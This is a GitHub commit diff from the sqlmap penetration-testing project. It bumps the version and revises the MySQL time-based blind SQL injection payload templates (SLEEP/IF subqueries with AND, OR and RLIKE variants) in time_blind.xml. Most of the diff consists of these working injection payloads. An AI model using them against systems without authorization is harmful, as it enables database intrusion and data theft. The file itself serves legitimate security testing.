Skip to content

Commit e1ab969

Browse files
stamparmstamparm
committed
Minor revisiting of MySQL time-based payloads
1 parent 79d0c83 commit e1ab969

2 files changed

Lines changed: 35 additions & 33 deletions

File tree

‎lib/core/settings.py‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@
1818
from thirdparty.six import unichr as _unichr
1919

2020
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
21-
VERSION = "1.3.5.114"
21+
VERSION = "1.3.5.115"
2222
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
2323
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
2424
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

‎xml/payloads/time_blind.xml‎

Lines changed: 34 additions & 32 deletions
Original file line numberDiff line numberDiff line change
@@ -2,16 +2,18 @@
22

33
<root>
44
<!-- Time-based boolean tests -->
5+
6+
<!-- Prefering "query SLEEP" over "SLEEP" because of JOIN-alike cases where SLEEPs get called multiple times (e.g. http://testphp.vulnweb.com/listproducts.php?cat=1) -->
57
<test>
6-
<title>MySQL &gt;= 5.0.12 AND time-based blind</title>
8+
<title>MySQL &gt;= 5.0.12 AND time-based blind (query SLEEP)</title>
79
<stype>5</stype>
810
<level>1</level>
911
<risk>1</risk>
1012
<clause>1,2,3,8,9</clause>
1113
<where>1</where>
12-
<vector>AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
14+
<vector>AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
1315
<request>
14-
<payload>AND SLEEP([SLEEPTIME])</payload>
16+
<payload>AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
1517
</request>
1618
<response>
1719
<time>[SLEEPTIME]</time>
@@ -23,15 +25,15 @@
2325
</test>
2426

2527
<test>
26-
<title>MySQL &gt;= 5.0.12 OR time-based blind</title>
28+
<title>MySQL &gt;= 5.0.12 OR time-based blind (query SLEEP)</title>
2729
<stype>5</stype>
2830
<level>1</level>
2931
<risk>3</risk>
3032
<clause>1,2,3,9</clause>
3133
<where>1</where>
32-
<vector>OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
34+
<vector>OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
3335
<request>
34-
<payload>OR SLEEP([SLEEPTIME])</payload>
36+
<payload>OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
3537
</request>
3638
<response>
3739
<time>[SLEEPTIME]</time>
@@ -43,16 +45,15 @@
4345
</test>
4446

4547
<test>
46-
<title>MySQL &gt;= 5.0.12 AND time-based blind (comment)</title>
48+
<title>MySQL &gt;= 5.0.12 AND time-based blind (SLEEP)</title>
4749
<stype>5</stype>
48-
<level>3</level>
50+
<level>2</level>
4951
<risk>1</risk>
50-
<clause>1,2,3,9</clause>
52+
<clause>1,2,3,8,9</clause>
5153
<where>1</where>
5254
<vector>AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
5355
<request>
5456
<payload>AND SLEEP([SLEEPTIME])</payload>
55-
<comment>#</comment>
5657
</request>
5758
<response>
5859
<time>[SLEEPTIME]</time>
@@ -64,16 +65,15 @@
6465
</test>
6566

6667
<test>
67-
<title>MySQL &gt;= 5.0.12 OR time-based blind (comment)</title>
68+
<title>MySQL &gt;= 5.0.12 OR time-based blind (SLEEP)</title>
6869
<stype>5</stype>
69-
<level>3</level>
70+
<level>2</level>
7071
<risk>3</risk>
7172
<clause>1,2,3,9</clause>
7273
<where>1</where>
7374
<vector>OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
7475
<request>
7576
<payload>OR SLEEP([SLEEPTIME])</payload>
76-
<comment>#</comment>
7777
</request>
7878
<response>
7979
<time>[SLEEPTIME]</time>
@@ -85,15 +85,16 @@
8585
</test>
8686

8787
<test>
88-
<title>MySQL &gt;= 5.0.12 AND time-based blind (query SLEEP)</title>
88+
<title>MySQL &gt;= 5.0.12 AND time-based blind (SLEEP - comment)</title>
8989
<stype>5</stype>
90-
<level>2</level>
90+
<level>3</level>
9191
<risk>1</risk>
92-
<clause>1,2,3,8,9</clause>
92+
<clause>1,2,3,9</clause>
9393
<where>1</where>
94-
<vector>AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
94+
<vector>AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
9595
<request>
96-
<payload>AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
96+
<payload>AND SLEEP([SLEEPTIME])</payload>
97+
<comment>#</comment>
9798
</request>
9899
<response>
99100
<time>[SLEEPTIME]</time>
@@ -105,15 +106,16 @@
105106
</test>
106107

107108
<test>
108-
<title>MySQL &gt;= 5.0.12 OR time-based blind (query SLEEP)</title>
109+
<title>MySQL &gt;= 5.0.12 OR time-based blind (SLEEP - comment)</title>
109110
<stype>5</stype>
110-
<level>2</level>
111+
<level>3</level>
111112
<risk>3</risk>
112113
<clause>1,2,3,9</clause>
113114
<where>1</where>
114-
<vector>OR (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
115+
<vector>OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
115116
<request>
116-
<payload>OR (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
117+
<payload>OR SLEEP([SLEEPTIME])</payload>
118+
<comment>#</comment>
117119
</request>
118120
<response>
119121
<time>[SLEEPTIME]</time>
@@ -131,9 +133,9 @@
131133
<risk>1</risk>
132134
<clause>1,2,3,9</clause>
133135
<where>1</where>
134-
<vector>AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
136+
<vector>AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
135137
<request>
136-
<payload>AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
138+
<payload>AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
137139
<comment>#</comment>
138140
</request>
139141
<response>
@@ -152,9 +154,9 @@
152154
<risk>3</risk>
153155
<clause>1,2,3,9</clause>
154156
<where>1</where>
155-
<vector>OR (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
157+
<vector>OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
156158
<request>
157-
<payload>OR (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
159+
<payload>OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
158160
<comment>#</comment>
159161
</request>
160162
<response>
@@ -296,9 +298,9 @@
296298
<risk>1</risk>
297299
<clause>1,2,3,9</clause>
298300
<where>1</where>
299-
<vector>RLIKE (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
301+
<vector>RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
300302
<request>
301-
<payload>RLIKE (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
303+
<payload>RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
302304
</request>
303305
<response>
304306
<time>[SLEEPTIME]</time>
@@ -316,9 +318,9 @@
316318
<risk>1</risk>
317319
<clause>1,2,3,9</clause>
318320
<where>1</where>
319-
<vector>RLIKE (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
321+
<vector>RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
320322
<request>
321-
<payload>RLIKE (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
323+
<payload>RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
322324
<comment>#</comment>
323325
</request>
324326
<response>
@@ -1490,9 +1492,9 @@
14901492
<risk>1</risk>
14911493
<clause>1,2,3,9</clause>
14921494
<where>3</where>
1493-
<vector>(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
1495+
<vector>(SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
14941496
<request>
1495-
<payload>(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
1497+
<payload>(SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
14961498
</request>
14971499
<response>
14981500
<time>[SLEEPTIME]</time>

0 commit comments

Comments
 (0)